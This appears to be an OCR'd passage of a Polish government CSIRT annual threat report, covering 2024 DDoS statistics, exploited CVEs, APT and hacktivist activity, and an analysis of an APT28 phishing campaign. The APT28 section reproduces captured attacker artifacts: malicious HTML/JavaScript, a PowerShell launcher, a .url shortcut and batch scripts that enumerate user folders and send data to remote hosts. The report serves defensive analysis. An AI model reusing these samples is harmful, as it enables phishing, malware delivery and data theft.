Analizujac zrodta pochodzenia atakow DDoS w 2024 roku nalezy zauwazyc, ze geolokalizacja
najaktywniejszych adresow IP wskazywata na USA, Polske oraz Finlandie. W wielu atakach zaobserwowano
wykorzystanie polskich adresow IP bedacych infrastrukturg ustugi VPN. Uzycie opisywanej ustugi
pozwalato atakujgcym na obejScie regut filtrujgcych ruch sieciowy na podstawie geolokalizacji, co mogto
skutkowac¢ wigksza efektywnoscig atakow. Ponizszy wykres przedstawia rozktad krajow, z ktdrych

adresow IP odnotowano najwigkszg aktywnos¢ w kontekscie atakow DDoS.

Polska, 9%

Izrael, 5% Niemcy, 4%

Rosja, 6%

Francja,
Pozostate, 33% USA, 21% Korea Pid., 5% 3% Indie, 3% | Chiny, 3%

Wykres 8. Procentowy rozkfad zidentyfikowanych adreséw IP biorgcych udziat w atakach DDoS

Kolejnym aspektem oceny zagrozenia w postaci atakow DDoS byt czas ich trwania. W pierwszym
kwartale 2024 roku $redni czas rejestrowanych atakow byt najwiekszy i wynidst okoto 2,5 godziny.
W kolejnych kwartatach $redni czas trwania ataku stopniowo malat. W IV kwartale 2024 roku czas

przedmiotowych zdarzen wynidst niecaty kwadrans.
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Kwartat IV

Kwartat IlI

Kwartat Il

147

Kwartat |

Wykres 9. Sredni czas ataku przedstawiony w minutach w podziale na kwartaty

Zespot CSIRT GOV odnotowat rowniez czynny udziat w atakach DDoS wielu grup haktywistycznych.
Wedtug analiz prowadzonych przez Zespot CSIRT GOV, dziatania grup ukierunkowane byty na ustugi
panstw cztonkowskich NATO, Unii Europejskiej oraz infrastrukture ukrainska. Ataki nierzadko powigzane

byty z deklaracjami przedstawicieli poszczegdlnych panstw w zakresie wsparcia Ukrainy.
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Przeglad podatnosci w obszarze dziatania CSIRT GOV

Zespot CSIRT GOV odnotowat w 2024 r. wysoki poziom zagrozen w zakresie prob wykorzystania
podatnosci urzadzen brzegowych, zwtaszcza typu VPN, jak rowniez podatnosci systemow poczty
elektronicznej. Sposrdd wykorzystywanych podatnosci identyfikowano rowniez takie, ktdre stanowity
ataki typu zero-day. Ponizej przedstawiono przeglad podatnosci, ktére miaty wptyw na poziom zagrozenia
systemow i sieci teleinformatycznych podmiotéw pozostajacych w obszarze wtasciwosci Zespotu
CSIRT GOV.

Styczen

e GitLab (CVE-2023-7028) - Podatnos¢ w wersjach Enterprise oraz Community umozliwia
wystanie wiadomosci e-mail resetujacej hasto do konta uzytkownika na niezweryfikowany

adres e-mail.

e lvanti (CVE-2023-39336) - Podatnosc Ivanti Endpoint Manager umozliwia atakujgcemu
z dostepem do sieci wewnetrznej na wstrzykniecie kodu SQL celem wykonania dowolnych

zapytan SQL i pobrania danych wyjsciowych bez koniecznosci uwierzytelniania.

Luty

e Cisco(CVE-2024-20254 oraz CVE-2024-20255) - Podatnosci dotycza urzadzen Cisco Expressway
Series, a ich wykorzystanie moze umozliwi¢ przejgcie kontroli nad urzadzeniem poprzez atak

typu CSRF (Cross-Site Request Forgery).

e Fortinet (CVE-2024-21762, CVE-2024-23113) - Podatnos$¢ oprogramowania FortiOS moze
pozwoli¢ zdalnemu, nieuwierzytelnionemu atakujgcemu na wykonanie dowolnego kodu lub

polecen za posrednictwem specjalnie spreparowanych zadan.

Marzec

e Ivanti (CVE-2023-41724) - Podatnosc Ivanti Standalone Sentry umozliwia nieuwierzytelnionemu
uzytkownikowi znajdujgcemu sie w tej samej sieci na wykonanie dowolnego polecenia

w systemie operacyjnym produktu.
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Kwiecien

Palo Alto Networks (CVE-2024-3400) - Podatnos¢ w ustudze GlobalProtect oprogramowania
PAN-0S pozwala na wykonanie przez nieuwierzytelnionego atakujacego nieautoryzowanego

kodu z uprawnieniami roota na firewallu.

Cisco (CVE-2024-20353, CVE-2024-20358 oraz CVE-2024-20359) - Podatnosci Cisco Adaptive
Security Appliance (ASA) oraz Firepower Threat Defense (FTD): podatnos$¢ CVE-2024-20353
zwigzana jest z nieprawidtowym procesem analizowania nagtowka HTTP w urzadzeniach ASA/
FTD, umozliwiajaca atakujgcemu wystanie spreparowanego zadania HTTP, ktdre spowoduje
odmowe dostepu do urzadzenia oraz jego ponowne uruchomienie (atak typu DoS). Podatnosci
CVE-2024-20358 oraz CVE-2024-20359 dotyczg braku prawidtowej walidacji danych
wejsciowych w interfejsie webowym urzadzen Cisco, ktdrych wykorzystanie umozliwia zdalne

wykonywanie polecen w systemie operacyjnym Cisco z uprawnieniami administracyjnymi.
Maj

Check Point (CVE-2024-24919) - Podatno$¢ Check Point Security Gateways pozwala
nieuwierzytelnionemu atakujacemu na zdalny odczyt dowolnych plikow z systemu operacyjnego

urzadzenia z uprawnieniami uzytkownika root.

Czerwiec

Fortinet (CVE-2023-34992) - Podatnosc¢ oprogramowania Fortinet FortiSIEM w wersjach: 7.0.0,
6.70 - 6.7.5, 6.6.0 - 6.6.3, 6.5.0 - 6.5.1 oraz 6.4.0 - 6.4.2 pozwala na nieuprawnione wykonanie

kodu lub komend poprzez wykreowane zgdania API.
Lipiec

OpenSSH (CVE-2024-6387) - Podatnos¢ OpenSSH umozliwia zdalne wykonanie kodu (RCE) oraz

eskalacje uprawnien na urzadzeniach z systemem Linux korzystajacych z biblioteki glibc.
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Sierpien

Ivanti (CVE-2024-7593) - Podatnosé vanti Virtual Traffic Manager wykorzystujaca nieprawidtowg
implementacje algorytmu uwierzytelniania umozliwia atakujgcemu obejscie uwierzytelniania

panelu administracyjnego oraz utworzenie konta administracyjnego.

GeoServer (CVE-2024-36401) - Podatnos¢ wykryta w lipcu 2024 r. umozliwia
nieuwierzytelnionemu atakujagcemu zdalne wykonanie kodu (RCE) poprzez spreparowane
dane wejsciowe do domyslnej instalacji GeoServer z powodu btedu w interfejsie API biblioteki

GeoTools.

Wrzesien

Yubico (CVE-2024-45678) - Zidentyfikowana podatnos¢ moze zosta¢ wykorzystana przez
atakujagcego do przechwycenia kluczy prywatnych w przypadku posiadania fizycznego
dostepu do urzadzenia (YubiKey, Security Key lub YubiHSM) oraz znajomosci konta docelowego
powigzanego z urzadzeniem. W zaleznosci od konfiguracji, atakujgcy moze réwniez
potrzebowac dodatkowych informacji, takich jak login, PIN, hasto do konta lub dodatkowy klucz

uwierzytelniajacy.

Cisco (CVE-2024-20439) - Podatnos¢ Cisco Smart Licensing Utility pozwala zdalnemu,
nieuwierzytelnionemu atakujgcemu na zalogowanie sie przy uzyciu poswiadczen

administracyjnych.
Cisco (CVE-2024-20440) - Podatnos¢ Cisco Smart Licensing Utility pozwala zdalnemu,

nieuwierzytelnionemu atakujagcemu na dostep do wrazliwych informaciji.

Pazdziernik

Zimbra (CVE-2024-45519) - Podatnosc¢ Zimbra Collaboration Suite umozliwia zdalne wykonanie
kodu na serwerach (RCE) z wykorzystaniem spreparowanych wiadomosci SMTP, co moze

prowadzic¢ do petnego przejecia kontroli nad systemem.

Ivanti (CVE-2024-37404) - Nieprawidtowa walidacja danych wejsciowych w portalu
administracyjnym Ivanti Connect Secure przed wersjg 22.7R2.1i 9.1R18.9 lub Ivanti Policy Secure

przed wersjg 22.7R1.1 pozwala uwierzytelnionemu atakujgcemu na zdalne wykonanie kodu.
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Cisco (CVE-2024-20432) - Podatnos¢ Cisco Nexus Dashboard Fabric Controller umozliwia

uwierzytelnionemu atakujgcemu wykonanie dowolnego polecenia (ang. Remote Code Execution,

RCE) w podatnym urzadzeniu z uprawnieniami administratora sieci. Wykorzystanie podatnosci

nastepuje poprzez interfejs APl REST oraz konto uzytkownika sieci NDFC.

VMware (CVE-2024-38812) - Podatnosc dotyczy przypadku przepetnienia sterty w implementacji
protokotu DCE/RPC. Adwersarz z dostepem sieciowym do vCenter Server moze wykorzystac
te podatnos¢ poprzez wysytanie specjalnie spreparowanego pakietu sieciowego, co moze

skutkowac zdalnym wykonaniem kodu.

Listopad

Microsoft (CVE-2024-43451) - Podatnos¢ systemu Windows umozliwia m.in. kradziez skrotu
NTLMv2 uzytkownika, co pozwala na podniesienie uprawnien przez atakujgcego oraz uzyskanie

dostepu do innych ustug w sieci przeprowadzajac atak typu pass the hash.

Microsoft (CVE-2024-49039) - Podatnos¢ systemu Windows umozliwia podniesienie uprawnien

uzytkownika z wykorzystaniem funkcji harmonogramu zadan systemu Windows.

Apple (CVE-2024-44308 oraz CVE-2024-44309) - Podatnosci dotycza przetwarzania zawartosci
internetowej w silniku WebKit, w tym JavaScript, i mogg umozliwic ataki, takie jak wykonywanie

ztosliwego kodu czy cross-site scripting (XSS).

Grudzien

Veeam (CVE-2024-42448 oraz CVE-2024-42449) - Podatnosci umozliwiaja usunigcie dowolnych
plikdw lub wykonanie ztosliwego kodu na serwerze VSPC (Veeam Service Provider Console)

z poziomu agenta zarzadzajacego VSPC.
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Istotne podatnosci w obszarze dziatania CSIRT GOV

Eksploitacja podatnosci Cisco Adaptive Security Appliance (ASA) oraz Firepower Threat Defense (FTD)

W pierwszej potowie 2024 roku Zespot CSIRT GOV zarejestrowat zwigkszong aktywnos$¢ zwigzana
z wykorzystaniem podatnosci w oprogramowaniu dostarczanym przez Cisco, tj. Adaptive Security
Appliance (ASA) oraz Firepower Threat Defense (FTD). Podatnosci te zostaty oznaczone odpowiednio jako
CVE-2024-20353 o stopniu krytycznosci w skali CVSS:3.1 okreslonym na 8.6, CVE-2024-20358 o stopniu
krytycznosci w skali CVSS:3.1 okreslonym na 6.7 oraz CVE-2024-20359 o stopniu krytycznosci w skali
CVSS:3.1 okreslonym na 6.0.

Podatnos¢ CVE-2024-20353 pozwala zdalnemu nieuwierzytelnionemu atakujgcemu na wystanie
spreparowanego nagtdwka HTTP do urzadzenia Cisco, co spowoduje nieoczekiwane ponowne uruchomienie
urzadzenia, a w konsekwencji atak typu Denial-of-Service (DoS).

Podatnosci CVE-2024-20358 oraz CVE-2024-20359 umozliwiajg lokalnemu uwierzytelnionemu
uzytkownikowi na wykonanie dowolnego kodu z uprawnieniami na poziomie root.

Powyzej przedstawione podatnosci byty wykorzystywane przez adwersarzy do przeprowadzania
kampanii o nazwie ArcaneDoor, ktdrej zadaniem jest przejecie kontroli nad urzgdzeniami Cisco
ASA oraz FTD. Kampania ta ukierunkowana byta gtownie na instytucje rzadowe. Przedmiotowy atak
polegat na wykorzystaniu powyzszych luk w zabezpieczeniach urzadzen Cisco do zainstalowania pary
zaawansowanych implantéw/backdoordw o nazwach Line Dancer oraz Line Runner na urzadzeniach ofiary,
ktore byty wykorzystywane do utrzymania trwatego zdalnego dostepu do urzadzenia, transferowania
plikdw, zdalnego wykonywania polecen w systemie, tunelowania ruchu sieciowego, jak réwniez eksfiltracji

danych z urzadzen.

Eksploitacja podatnosci Check Point

Pod koniec pierwszej potowy roku 2024 Zespdt CSIRT GOV zarejestrowat zwigkszong aktywnosc
zwigzang z eksploitacjg podatnosci zero-day w oprogramowaniu firmy Check Point 0znaczonej nastepnie
jako CVE-2024-24919, o stopniu krytycznosci w skali CVSS:3.1 okreslonym na 8.6.

Podatnos¢ dotyczy oprogramowania Check Point Network Security Gateway z wtgczonym
Remote Access VPN lub korzystajgcym z Check Point Capsule Workspace. Opisywana luka pozwalata
nieuwierzytelnionemu atakujgcemu na zdalny odczyt informacji i byta wykorzystywana do wyodrebniania

skrotow haset z lokalnych kont uzytkownikow uzywajacych haset jako jedynego sktadnika uwierzytelnienia.
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Podatnos¢ dotyczy oprogramowania:

e (Quantum Security Gateway and CloudGuard Network Security: R81.20, R81.10, R81, R80.40,
e (Quantum Maestro and Quantum Scalable Chassis: R81.20, R81.10, R80.40, R80.30SP, R80.20SP,

e (Quantum Spark Gateways: R81.10.x, R80.20.x, R77.20.x.

Eksploitacja podatnosci Zimbra Collaboration Suite

Pod koniec roku 2024 Zespot CSIRT GOV zarejestrowat zwigkszong aktywnos¢ zwigzang
z eksploitacjg podatnosci w oprogramowaniu Zimbra Collaboration Suite (ZCS). Podatnosc ta zostata
oznaczona jako CVE-2024-45519, o stopniu krytycznosci w skali CVSS:3.1 okreslonym na 9.8.

Przedmiotowa podatnos¢ wystepuje w ustudze postjournal wykorzystywanej przez Zimbre, ktéra
wsposobnieodpowiedniwaliduje wprowadzonedane przezuzytkownikaw polu SMTP,,RCPTTO:", cow efekcie
moze prowadzi¢ do zdalnego wykonania kodu po stronie serwera. W domyslnej konfiguracji serwera

Zimbra ustuga postjournal jest wytgczona.
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ZAGROZENIA ZE STRONY GRUP
SPONSOROWANYCH
| HAKTYWISTYCZNYCH



Rok 2024 charakteryzowat sig rowniez zagrozeniami, ktére wpisuja sie w aktywnosci wskazujace

na dziatania grup cyberofensywnych oraz haktywistycznych. Zagrozenia tego typu jak zawsze niosa
za sobg podwyzszony poziom ryzyka, ktéry moze skutkowac wystapieniem incydentéw w cyberprzestrzeni
RP. Cyberataki prowadzone z pobudek politycznych i ideologicznych to zagrozenie, z jakim mierzg sie
panstwa na catym Swiecie. Polska z uwagi na swoje potozenie geopolityczne szczegdlnie narazona
jest na wystepowanie tego typu zagrozen, majacych swe zrodto zwtaszcza w aktywnosci adwersarzy
wspierajacych cele czy narracje przede wszystkim rosyjska. W tym rozdziale zostat przedstawiony opis
zagrozen naruszajacych bezpieczenstwo systemow administracji rzagdowej i operatorow infrastruktury
krytycznej, uwzgledniajac zarazem okreslone aspekty atakow opisanych w postaci metodyki TTP®.

Pierwszg kategorig, zastugujacg na szczegdlng uwage s3 cyberzagrozenia eskalowane przez
grupy typu Advanced Persistent Threat, majace zwtaszcza charakter typu state-sponsored. Sa to zespoty
wspierane i zadaniowane w duzej mierze przez obce panstwa, ktdre wykorzystujg tego typu grupy
do pozyskiwania informacji z sieci systemow teleinformatycznych panstw-celdw, a takze nierzadko
do prowadzenia dziatan destrukcyjnych. Zagrozenia ptynace z dziatalnosci grup sponsorowanych
charakteryzuja sig zwykle wysokim poziomem technicznym i stopniem zaawansowania swoich dziatan.
Zasadniczg cecha dziatania tego typu grup jest pozostawanie w ukryciu, przy jednoczesnym zapewnieniu
dostepu do skompromitowanej infrastruktury.

W 2024 roku w polskiej cyberprzestrzeni notowane byty rdzne rodzaje aktywnosci grup
sponsorowanych - od ,zwyktych” kampanii phishingowych wytudzajgcych dane logowania, przez
wiadomosci dystrybuujace ztosliwe oprogramowanie, adresowane do wytypowanych pracownikéw
administracji rzadowej czy operatoréw infrastruktury krytycznej, po ataki wykorzystujace stabosci
zabezpieczen w dostepie do poczty elektronicznej, dostepie zdalnym czy podatnosci urzadzen brzegowych
sieci teleinformatycznych. Tego typu ataki cechuja sie wykorzystaniem technik typu living off the land,
opierajacych sie na narzedziach systemowych celem zapewnienia persystencji i poszerzenia uprawnien
w dostepie do systemdéw (co pozwala na utrzymanie trwatego, trudnego do wykrycia dostepu,
a co za tym idzie - prowadzenia dtugoterminowej dziatalnosci cyberwywiadowczej). Wsrdd narzedzi
wykorzystywanych przez grupy cyberofensywne identyfikowane sg takze programy dostepne
w repozytoriach otwartozradtowych.

Obserwacja dziatalnosci grup sponsorowanych wskazuje rowniez, ze celem atakow moga byc nie
tylko podmioty kluczowe z punktu widzenia bezpieczenstwa panstwa i jego interesow gospodarczych,
ale takze wszelkiego rodzaju podmioty $wiadczace ustugi dla administracji panstwowej czy operatorow

infrastruktury krytycznej, zwtaszcza w zakresie ustug IT/OT. Ten rodzaj zagrozenia, okreslany mianem

% Tactics, Techniques, and Procedures - taktyki, techniki i procedury opisujace cele, metody i zachowania atakujacego.
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atakow na tancuch dostaw, z uwagi na duzg liczbe kooperantow o roznej dojrzatosci w zakresie

cyberbezpieczenstwa, stanowi znaczace wyzwanie przy identyfikacji i mitygacji dziatalnosci grup
sponsorowanych, i co za tym idzie rozpoznawania skali ich dziatania oraz, w konsekwencji, analizy
wynikajacego z nich ryzyka dla cyberprzestrzeni RP, w szczegdlnosci dla newralgicznych obszardw
bezpieczenstwa panstwa.

Dodatkowo w 2024 roku statym elementem krajobrazu cyberzagrozen w dalszym ciggu byty takze
ataki przypisywane grupom haktywistycznym, ktdre, w odrdznieniu od grup sponsorowanych, intensywnie
publikowaty informacje o swoich dziataniach na portalach spotecznosciowych, tak aby dotrze¢ do jak
najszerszego grona odbiorcéw i tym samym promowac obrane cele ideologiczne. Grupy te koncentrowaty
swoje dziatania na atakach typu DDoS celem zaktdcenia dostepnosci ustug i stron internetowych,
co stanowito kontynuacje dziatan z 2022 i 2023 roku. Drugim klastrem aktywnosci grup haktywistycznych
byty dziatania ukierunkowane na uzyskiwanie dostepu do infrastruktury teleinformatycznej, w tym
urzadzen lloT* oraz paneli HMI®, ktdre nie zostaty wtasciwie zabezpieczone przy zdalnym dostepie,
umozliwiajgc atakujgcym np. podglad parametréw pracy urzadzen czy wykonywanie préb manipulacji
ustawieniami.

Charakteryzujac aktywnos$¢ haktywistow w 2024 roku nie sposob nie zauwazy¢, ze rzekome
sukcesy, zarowno dotyczace niedostepnosci spowodowanych atakami DDoS, jak i nieautoryzowanego
dostepu, miaty przede wszystkim za cel ukazanie skutecznosci prowadzonych cyberatakéw oraz
podkreslenie wtasnego potencjatu. W tym kontekscie nie powinno tym samym dziwic, ze prowadzone
dziatania miaty stuzy¢ przede wszystkim propagandzie, co niekoniecznie korespondowato z rzeczywistym
wptywem na funkcjonowanie atakowanych podmiotow. Aktywnosc¢ ta jednak byta przejawem wzrostu
liczby tego typu grup jak rowniez stopniowo zwigkszajacego sie potencjatu do prowadzenia dziatan
ofensywnych.

Zauwazalnym w 2024 roku elementem ryzyka w cyberprzestrzeni RP staty sie rowniez grupy
cyberprzestepcze, ktorych motywacja nie byty cele stricte polityczne czy ideologiczne, ale czysto
finansowe. Potencjat tych grup moze byc takze wykorzystywany przez aktoréw panstwowych, ktdrzy
moga nabywac w tzw. darknecie zaréwno pewnego rodzaju aktywa od grup w postaci eksfiltrowanych

danych wrazliwych, jak rowniez dostep do skompromitowanych systeméw.

% Industrial Internet of Things - potaczone ze sobg czujniki, maszyny i systemy w Srodowisku przemystowym, wykorzystywane w celu
zbierania danych, automatyzacji oraz optymalizacji procesow produkcyjnych.

% Human-Machine Interface - interfejs cztowiek-maszyna umozliwiajacy uzytkownikowi na komunikacje i interakcje z maszyna, procesem
technologicznym lub systemem, pozwalajac na monitoring, sterowanie i wizualizacje danych.
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Gtownym modus operandi grup cyberprzestepczych jest oprogramowanie typu ransomware,

a ataki z jego wykorzystaniem poprzedzone sg czesto eksfiltracjg danych z zasobow sieciowych przed ich
finalnym zaszyfrowaniem. Ztozony krajobraz zagrozen ksztattowany przez te grupy wskazuje takze, ze tego
typu dziatalnos¢ moze byc takze wykorzystywana do operacji grup cyberofensywnych pod tzw. ,fatszywa
flaga”. W tego typu przypadkach aktorzy panstwowi moga podszywac sie pod grupy cyberprzestepcze
celem maskowania swojej dziatalnosci, tym samym zmniejszajagc mozliwo$¢ prowadzenia wtasciwej
atrybucji przeprowadzanych atakéw i oddalajac przypuszczenia ich konotacji panistwowych.

Oceniajac dziatania grup APT w roku 2024 warto zarazem podkreslic, ze zauwazalne jest skracenie
sie czasu pomiedzy ujawnianymi podatnosciami a ich wykorzystaniem do prowadzenia skutecznych
atakéw. Dostepne narzedzia typu open-source czy sztuczna inteligencja dajg atakujacym zdolnosci
prowadzenia ciggtego rozpoznania podatnosci infrastruktury obranych celow i identyfikacji podatnosci
w ich oprogramowaniu. Nalezy tutaj takze nadmienic, ze brak aktualizacji sprzetu czy oprogramowania
oraz umiejscowienie tego typu infrastruktury na brzegu sieci Internet stwarzajg znaczne ryzyko
rozpoznania potencjalnych stabosci przez grupy APT. Przyktadem wystepowania tego typu zagrozen
s informacje publikowane o podatno$ciach aktywnie eksploitowanych przez grupy cyberofensywne®.
Wiedza na ten temat pozwala na lepszg ocene zagrozen dla wtasnej infrastruktury i tym samym pozwala
na budowanie lepszego obrazu sytuacyjnego w zakresie ryzyka dla ciggtosci dziatania. Dodatkowo
charakteryzujac aktywnosci grup APT istotne jest przede wszystkim catosciowe spojrzenie na metody
ich dziatania. Spojrzenie to wymaga uwzglednienia nie tylko samych celdw, ktdre samoczynnie sig
narzucajg w przypadku np. publikacji danych, ale réwniez istotnych elementéw analizy tego typu atakow
uwzgledniajacych infrastrukture wykorzystywang przez aktora do ataku, wykorzystywane narzedzia
i metody dziatania. W tym zakresie z pomoca przychodzg modele analityczne, takie jak matryca MITRE
ATT&CK, ktdre przyblizaja dziatanie poszczegdlnych grup APT.

W roku 2024 odnotowano szeroki zakres aktywnosci APT, gdzie aktorem dominujgcym w CRP byta
grupa APT okreslana jako APT28. WSrdd pozostatych klastrow aktywnosci w Raporcie przedstawiono
rowniez zagrozenia ze strony APT29, UNC151, APTI5, grup haktywistycznych, a takze grupy DaVinci
i innych aktorow cyberprzestepczych. W stosunku do okreslonych klastréw aktywnosci przedstawiona

zostata w mozliwym zakresie ogolna charakterystyka dziatania w postaci taktyk, technik i procedur (TTP)

wedtug matrycy MITRE ATT&CK.

¢ Cennym zrodtem informacji w tym zakresie jest katalog wykorzystywanych podatnosci utrzymywany przez agencje CISA: https://www.cisa.
gov/known-exploited-vulnerabilities-catalog.

56




APT28

Gtownym klastrem aktywnosci w roku 2024 w cyberprzestrzeni RP byty zagrozenia zwigzane
z dziataniami grupy APT28, znanej takze jako Fancy Bear. Dobdr celéw przez te grupe motywowany
byt potrzebami cyberszpiegowskimi, a obserwowane ataki byty ukierunkowane przede wszystkim
na administracje rzadowg oraz sektor energetyczny i transportowy w Polsce.

Na przetomie grudnia 2023 i stycznia 2024 roku kilka europejskich panstw, w tym Polska i Ukraina,
odnotowato nowg kampanie spearphishingowa. Atakujacy wykorzystali przejete skrzynki email celem
dostarczenia do uzytkownikow zawartosci ztosliwej. Kampania ta wykorzystata nowy wektor ataku, gdzie
w tresci wiadomosci umieszczono odnos$nik do zewnetrznego zasobu w domenie firstcloudit.com’ (nalezacej
do oferujacej ustugi hostingowe platformy DriveHQ). Po otwarciu linku nastgpowato wyswietlenie
spreparowanej strony, zawierajacej rozmyty fragment dokumentu z przyciskiem majacym rzekomo

prawidtowo go wyswietlic®.

@) E] firstcloudit.com g = 74 Q

CLICK TO VIEW DOCUMENT

Rysunek 33. Ztoliwa strona w domenie firstcloudit.com prezentujgca rozmyty dokument

"T1583.001 - Resource Development - Acquire Infrastructure: Domains
8T1204.001 - Execution - User Execution: Malicious Link
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W rzeczywistosci po nacisnigciu przycisku nastgpowato wykonanie szeregu operacji stuzacych

przestaniu ztosliwego pliku do stacji roboczej uzytkownika. W pierwszej kolejnosci kod JavaScript

zawarty na stronie firstcloudit.com odwotywat sie do adresu w domenie oast.fun poprzez zastosowanie tzw.

$ledzacego piksela’. W kolejnym kroku na stacje roboczg ofiary pobierany byt z wykorzystaniem modutu

obstugi URI search® (search:URI) plik z zewnetrznego zasobu atakujacego znajdujgcego sie na serwerze

WebDAV", co skutkowato otwarciem okna eksploratora plikow Windows.

<html>
<head class="header” id="myHeader">
<link rel="stylesheet" href="a.css">
<img src="https:// .oast.fun" hidden A
</head>

<body>
<div id="c1">
<img src=".\Capture2.PNG" />
</div>
<div class="button-overlay">
<center>
<img style="filter: blur(4.1px)" src=".\Capturel0.PNG"/>

<button class="button-48" role="button" onclick="getVideo()"> <span class="text">CLICK TO VIEW DOCUMENT</span></button>

</center>

</div>
<script defer>
function getvideo() {

window.location.href = 'search:displayname=Downloads&subquery= .search-ms';

const newElement = document.createElement('img');

newElement.src = "https:// .oast.fun";
newElement.hidden = true;

document.body.appendChild(newElement)

</script>

Rysunek 34. Fragment kodu JavaScript w kodzie strony w domenie firstcloudit.com

Wynikiem tego byto wyswietlenie okna wyszukiwania w folderze ,Pobrane”, ktdre zawierato plik

skrotu nasladujgcy dokument PDF. W rzeczywistosci plik miat podwdjne rozszerzenie .pdf.lnk i przy

domyslnych ustawieniach systemu Windows, gdzie faktyczne rozszerzenie jest niewidoczne, plik magt

sprawiac wrazenie dokumentu PDF dla uzytkownika.

[system.Diagnostics.Process] :: Start( 'msedge’,'file:// Jwebdav/
A\ sa80\webdav\Python39\python.exe
W aa80\webdav\Python3g\Client.py"

Rysunek 35. Polecenie PowerShell wykonywane po uruchomieniu pliku .pdf.Ink

? Tracking pixel

0 https://www.trellix.com/blogs/research/beyond-file-search-a-novel-method/
T1071.002 - Command and Control - Application Layer Protocol: File Transfer Protocols
271036.007 - Defense Evasion - Masquerading: Double File Extension
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W tej sytuacji ofiara, nieSwiadomie, po otwarciu tego pliku uruchamiata na swojej stacji robocze;

skrypt PowerShell®. Skrypt otwierat faktyczny dokument o nazwie wody.pdf oraz wykonywat dodatkowo
skrypt w jezyku Python w interpreterze", a pliki te - dokument, skrypt oraz interpreter -pobierane byty
z zasobu na serwerze WebDAV. Ztosliwy kod Python dystrybuowany w tej kampanii stanowit narzedzie
znane publicznie jako MASEPIE, charakterystyczne dla grupy APT28. Narzedzie to stuzy przede wszystkim
do ustanowienia komunikacji z serwerem C2 oraz do wymiany plikéw w obie strony. Wykorzystujac
MASEPIE, atakujagcy majg mozliwos¢ wgrania kolejnych ztosliwych plikow, w tym backdooréw czy
stealerdw.

Podobna technika ataku zostata wykorzystana przez aktora w kampanii z konca stycznia 2024
roku, gdzie motywem byto wydarzenie organizowane przez przedstawicieli RP w Brukseli®. W tym
przypadku wykorzystano skrzynki poczty elektronicznej zatozone u czeskiego dostawcy Seznam',
a dodatkowo zastosowana technika spoofingu wskazywata na nadawcéw bedacych pracownikami

polskiego Ministerstwa Spraw Zagranicznych.

~clever
logistic

o ot g clovr,

7.0 Minkstry o Foreign Affairs
e Repubic af Poland

Report presentation

Middle Corridor — a geostrategic pillar of
EU-Central Asia economic relations.
Unleashing business potential.

Brussels
Avenue de Cortenbergh 16

January 29th, 2024 at 7pm

Please register na later than 5:00 am on Friday, 26 January 2024

CLICK TO REGISTER

On 28 January 2024 at 7:00 PM at the Permanent Representation of the Republic of Poland to the EU in Brussels (Window Poland, Avenue Cortenbergh 16), an event will be held on the sidelines of the
Global Gateway Investors Forum on Sustainable Transport Connectivity between Europe and Central Asia under the title Middle Corridor — a geastrategic pillar of EU-Central Asia economic relations.
Unleashing business potential.

The main point of the programme will be the presentation of the latest report of the Polish Centre for Eastern Studies on the Middle Corridor, which will provide a foad-for-thought for the expert
discussion on the matter among policy makers, administration and business. The ensuing cocktail dinner will also networking opportunities for participants.

The Middle Corridor has been identified as one of the most economically viable routes in the recent EBRD Study on Sustainable transport ions between Europe and Central Asia. As such, it has
potential to become the main economic corrider for the EU, Central Asia and South Caucasus. It also provides a geostrategic alternative to corridors running through Russia and its importance has been
highlighted in the context of the Russian invasion of Ukraine. The Middle Corridor allowed for transporting goods subject to sanctions imposed on Russia and has witnessed unprecedented growth of
cargo volumes shipped through the corridor.

Rysunek 36. Tre$¢ wiadomo$ci phishingowej wykorzystujgcej motyw agendy wydarzenia miedzynarodowego

¥ T1059.001 - Execution - Command and Scripting Interpreter: PowerShell
%T1059.006 - Execution - Command and Scripting Interpreter: Python

' T1656 - Defense Evasion - Impersonation

6 71585.002 - Resource Development - Establish Accounts: Email Accounts
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W tym przypadku plik o rozszerzeniu URL - pobierany z serwera WebDAV z wykorzystaniem

protokotu search-ms - po uruchomieniu pobierat i wykonywat ztosliwy plik msedge.exe, ktory miat swojg

nazwg imitowac przegladarke Microsoft Edge.

[1nternetshortcut]

URL=Ffile: " /f aseon, /Program Files (x86)/Microsoft/Edge/Application/
msedge . exe”

HotKey=@

IconIndex=@

IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

[{00021440-0000-0000-CO00-000000000046} |

Prop3=19,9

Rysunek 37. Zawartos¢ pliku .url stuzgcego do pobrania pliku msedge.exe

W rzeczywistosci plik ten byt aplikacjg .Net, ktdra miata na celu, jako kolejny etap ataku, pobranie
i uruchomienie pliku, tym razem z rozszerzeniem .cmd, a nastepnie uruchomienie skryptu VBS oraz pliku

BAT, co ostatecznie infekowato stacje roboczg oprogramowaniem typu stealer.

decho off &
(echo On Error Resume Next & echo Createobject A(*"wscript.shell™"*).Run """"*"%pr ta%i\\ bat®"*"*"* p*, False &
echu Set oFso = Createobject (""Scripting.File emobiect”"™) : oFso.DeleteFile W 1pt 5cr1ptFu11Name True) >

gramdata%® .vhs" &

echo del %x%0 & for /1 %%%%n in () do ( chcp 65001 “& timeout 120 “& taskkill /im msedge.exe /f “& timeout 5 “&
del /q /f "%%userprofile¥*\Downloads\* &

start "" msedge ——headless =new ——dlsahle gpu data:text/

<scr1pt>w1ndcw location.replace( "http:// 5000/ / .sXc");</ script>

& tlmeuut 30 & taskklll Jim msedge exe /F &
move /y : programdat d" *§

call p
del /q /F" it programdatai’ .bat" &
(echo <IDOCTYPE html > <htm1 > <body > <scr1pt >var xhr = new XMLHttpRequest”(");var text = String.raw"") >
™ : At &
1xhr.open (“'PUT" "http 1 :see0/ / log"'");xhr.setRe

estHeader (*'Content-Type"', *'text/

html®'*);xhr.send” (text ) q/scrlpt >*¢/body*>*</html*>) > "%programdatak\kxkfmr
start " "ipr b\ vbs" &

start msedge /two-years-of-war-in-ukraine-tickets" &

del %@

Rysunek 38. Zawartos¢ pliku .cmd stanowigcego jeden z elementdw infekcji

chcp 65001

taskkill /im msedge.exe /f

(dir "%userprofile%\.." & dir "%userprofile¥\Desktop" & dir "%userprofile%\Downloads")>"%programdata®\ .diff"
copy "%programdata¥\*.tab" + "%programdata¥\*.diff" + "%programdata¥\*.tsv" "%programdata%\daeokzveew.html"
(echo %programdata%)>"%programdata%\ "

set /p lxapvfazdz=<"%programdata%y "

timeout 5

start "" msedge --headless=new --disable-gpu "file:///% %/ .html"

timeout 30

taskkill /im msedge.exe /f

del /q /f "%userprofile%\Downloads\*.sxc"

del /q /f "%programdata%\ "

del /q /f "%programdata%\*.diff"

del /q /f "¥programdata%\ .html"

